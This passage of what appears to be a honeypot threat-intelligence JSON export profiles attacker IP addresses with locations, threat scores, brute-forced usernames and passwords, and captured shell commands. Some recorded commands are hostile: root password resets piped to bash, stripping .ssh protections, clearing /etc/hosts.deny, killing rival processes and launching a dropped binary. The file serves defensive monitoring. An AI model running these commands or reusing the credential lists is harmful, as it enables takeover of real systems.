        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "San Pedro Sula",
      "asn": 262234,
      "as_org": "ASOCIACION DE SERVICIO DE INTERNET S. DE RL.",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T07:10:56.757000+00:00",
        "last_seen_30d": "2026-03-05T07:46:09.673000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 32
      }
    },
    "131.186.17.177": {
      "attack_count": 88,
      "first_seen": "2026-03-05T05:26:04.689Z",
      "last_seen": "2026-03-05T06:09:13.295Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456+",
        "3245gs5662d34",
        "Admin123123",
        "Bingo@1993",
        "Zaqwsx123",
        "Zhang@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:M2KpQmZWjXi2\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T05:26:04.689000+00:00",
        "last_seen_30d": "2026-03-05T06:10:13.760000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 15
      }
    },
    "59.178.101.193": {
      "attack_count": 73,
      "first_seen": "2026-03-12T17:01:05.062Z",
      "last_seen": "2026-03-12T17:25:00.093Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "claude",
        "345gs5662d34",
        "crafty",
        "deploy",
        "nova",
        "pzserver",
        "servers",
        "tst",
        "zhangsan"
      ],
      "passwords_attempted": [
        "12345",
        "123",
        "12345678",
        "123456789",
        "123456Q!",
        "3245gs5662d34",
        "345gs5662d34",
        "Qwerty123456789",
        "nova",
        "password",
        "pippo123",
        "zhangsan123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "S\u012bkar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T17:01:05.062000+00:00",
        "last_seen_30d": "2026-03-12T17:26:02.585000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 30
      }
    },
    "103.150.65.61": {
      "attack_count": 64,
      "first_seen": "2026-03-11T05:08:04.253Z",
      "last_seen": "2026-03-11T05:08:20.752Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "stream"
      ],
      "passwords_attempted": [
        "1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\n7ClYx88R5kZC\\n7ClYx88R5kZC\\n\"|passwd",
        "echo -e \"1234\\n7ClYx88R5kZC\\n7ClYx88R5kZC\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.file_download"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 151391,
      "as_org": "Varendra IT",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T05:08:04.253000+00:00",
        "last_seen_30d": "2026-03-11T05:09:28.307000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 4
      }
    },
    "164.92.128.183": {
      "attack_count": 55,
      "first_seen": "2026-03-05T18:45:45.073Z",
      "last_seen": "2026-03-05T18:52:52.010Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "password",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T18:45:45.073000+00:00",
        "last_seen_30d": "2026-03-05T18:53:56.645000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 55,
        "Suricata": 23
      }
    },
    "94.243.12.39": {
      "attack_count": 44,
      "first_seen": "2026-03-24T10:01:05.506Z",
      "last_seen": "2026-03-24T10:05:50.622Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T10:01:05.506000+00:00",
        "last_seen_30d": "2026-03-24T10:06:53.928000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "105.114.21.250": {
      "attack_count": 40,
      "first_seen": "2026-03-10T13:30:56.848Z",
      "last_seen": "2026-03-10T13:35:16.818Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": null,
      "asn": 36873,
      "as_org": "Celtel Nigeria Limited t.a ZAIN",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T13:30:56.848000+00:00",
        "last_seen_30d": "2026-03-10T13:36:22.843000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "45.125.62.120": {
      "attack_count": 36,
      "first_seen": "2026-03-09T14:09:49.865Z",
      "last_seen": "2026-03-09T14:13:43.459Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 133275,
      "as_org": "Gigantic Infotel Pvt Ltd",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T14:09:49.865000+00:00",
        "last_seen_30d": "2026-03-09T14:14:47.697000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 19
      }
    },
    "35.240.1.116": {
      "attack_count": 35,
      "first_seen": "2026-03-11T12:50:29.758Z",
      "last_seen": "2026-03-11T12:50:47.905Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T12:50:29.758000+00:00",
        "last_seen_30d": "2026-03-11T12:51:57.753000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 20
      }
    },
    "182.117.15.36": {
      "attack_count": 30,
      "first_seen": "2026-03-24T01:18:43.600Z",
      "last_seen": "2026-03-24T01:21:58.041Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T01:18:43.600000+00:00",
        "last_seen_30d": "2026-03-24T01:23:07.538000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "45.84.107.222": {
      "attack_count": 29,
      "first_seen": "2026-03-05T05:23:27.799Z",
      "last_seen": "2026-03-31T21:58:54.932Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "SangomaDefaultPassword"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.login.failed"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 91.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 30,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T16:31:31+00:00",
        "last_seen_30d": "2026-03-31T22:00:00.806000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 88,
        "Honeytrap": 28,
        "Cowrie": 23,
        "H0neytr4p": 10,
        "Ciscoasa": 7
      }
    },
    "38.188.160.181": {
      "attack_count": 28,
      "first_seen": "2026-03-10T23:24:18.806Z",
      "last_seen": "2026-03-11T00:40:36.000Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "040484",
        "10101986",
        "250688",
        "peugeot406",
        "rosier"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:24:18.806000+00:00",
        "last_seen_30d": "2026-03-11T00:40:36+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 14
      }
    },
    "85.11.183.25": {
      "attack_count": 22,
      "first_seen": "2026-03-02T12:22:00.208Z",
      "last_seen": "2026-03-12T18:19:07.965Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip, deflate, br",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
        "Connection: close"
      ],
      "passwords_attempted": [
        "Accept-Language: en-US,en;q=0.9",
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Connection: close",
        ""
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 201002,
      "as_org": "PebbleHost Ltd",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3425,
        "days_active_30d": 30,
        "ports_targeted_30d": 430,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T10:21:46+00:00",
        "last_seen_30d": "2026-03-31T02:40:01.563000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2295,
        "Honeytrap": 1082,
        "Cowrie": 22,
        "Dionaea": 8,
        "H0neytr4p": 6,
        "CitrixHoneypot": 5,
        "Adbhoney": 4,
        "Tanner": 2,
        "Ciscoasa": 1
      }
    },
    "115.191.62.17": {
      "attack_count": 20,
      "first_seen": "2026-03-15T22:56:21.393Z",
      "last_seen": "2026-03-15T22:58:50.109Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T22:56:21.393000+00:00",
        "last_seen_30d": "2026-03-15T22:59:55.768000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "129.121.35.57": {
      "attack_count": 20,
      "first_seen": "2026-03-04T05:21:57.915Z",
      "last_seen": "2026-03-06T08:35:05.018Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "Kelltech123",
        "Kelltech@123",
        "Kelltech@2025",
        "kelltech@admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Vinhedo",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.5,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T05:28:33.273000+00:00",
        "last_seen_30d": "2026-03-06T08:36:07.393000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 128,
        "Heralding": 29,
        "Cowrie": 20
      }
    },
    "4.17.226.146": {
      "attack_count": 19,
      "first_seen": "2026-03-11T10:44:41.293Z",
      "last_seen": "2026-03-11T10:47:34.698Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [
        "chmod +x ./.8839837185655339114/xinetd;nohup ./.8839837185655339114/xinetd  &"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_upload",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Scottsdale",
      "asn": 3356,
      "as_org": "Level 3 Parent, LLC",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T10:44:41.293000+00:00",
        "last_seen_30d": "2026-03-11T10:48:37.867000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 9
      }
    },
    "165.227.47.112": {
      "attack_count": 17,
      "first_seen": "2026-03-11T17:12:15.517Z",
      "last_seen": "2026-03-11T17:19:14.747Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "cisco",
        "admin"
      ],
      "passwords_attempted": [
        "Admin123",
        "Admin@123",
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T17:09:10.824000+00:00",
        "last_seen_30d": "2026-03-11T17:20:24.538000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 11
      }
    },
    "49.173.65.71": {
      "attack_count": 16,
      "first_seen": "2026-03-15T18:54:18.840Z",
      "last_seen": "2026-03-15T18:57:26.670Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Namdong-gu",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T18:54:18.840000+00:00",
        "last_seen_30d": "2026-03-15T18:58:36.597000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "175.170.144.16": {
      "attack_count": 15,
      "first_seen": "2026-03-17T15:18:18.461Z",
      "last_seen": "2026-03-20T19:00:39.601Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "apagar",
        "boom",
        "wade"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "wade123!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Dalian",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T15:18:18.461000+00:00",
        "last_seen_30d": "2026-03-20T19:01:43.416000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "91.224.92.190": {
      "attack_count": 12,
      "first_seen": "2026-03-02T04:05:29.591Z",
      "last_seen": "2026-03-03T11:12:29.703Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:05:29.591000+00:00",
        "last_seen_30d": "2026-03-03T11:13:34.836000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "124.220.77.234": {
      "attack_count": 10,
      "first_seen": "2026-03-07T14:01:17.031Z",
      "last_seen": "2026-03-07T14:04:22.766Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "spawner"
      ],
      "passwords_attempted": [
        "pass!123",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T14:01:17.031000+00:00",
        "last_seen_30d": "2026-03-07T14:05:33.142000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "136.60.94.193": {
      "attack_count": 10,
      "first_seen": "2026-03-14T08:49:14.404Z",
      "last_seen": "2026-03-14T08:49:18.061Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry",
        "raspberryraspberry993311"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Austin",
      "asn": 16591,
      "as_org": "Google Fiber Inc.",
      "threat_score": 10.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T08:48:11.138000+00:00",
        "last_seen_30d": "2026-03-14T08:50:24.479000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "182.244.5.153": {
      "attack_count": 10,
      "first_seen": "2026-03-09T22:53:48.537Z",
      "last_seen": "2026-03-09T23:06:34.771Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "mcuser",
        "ravi"
      ],
      "passwords_attempted": [
        "1234",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
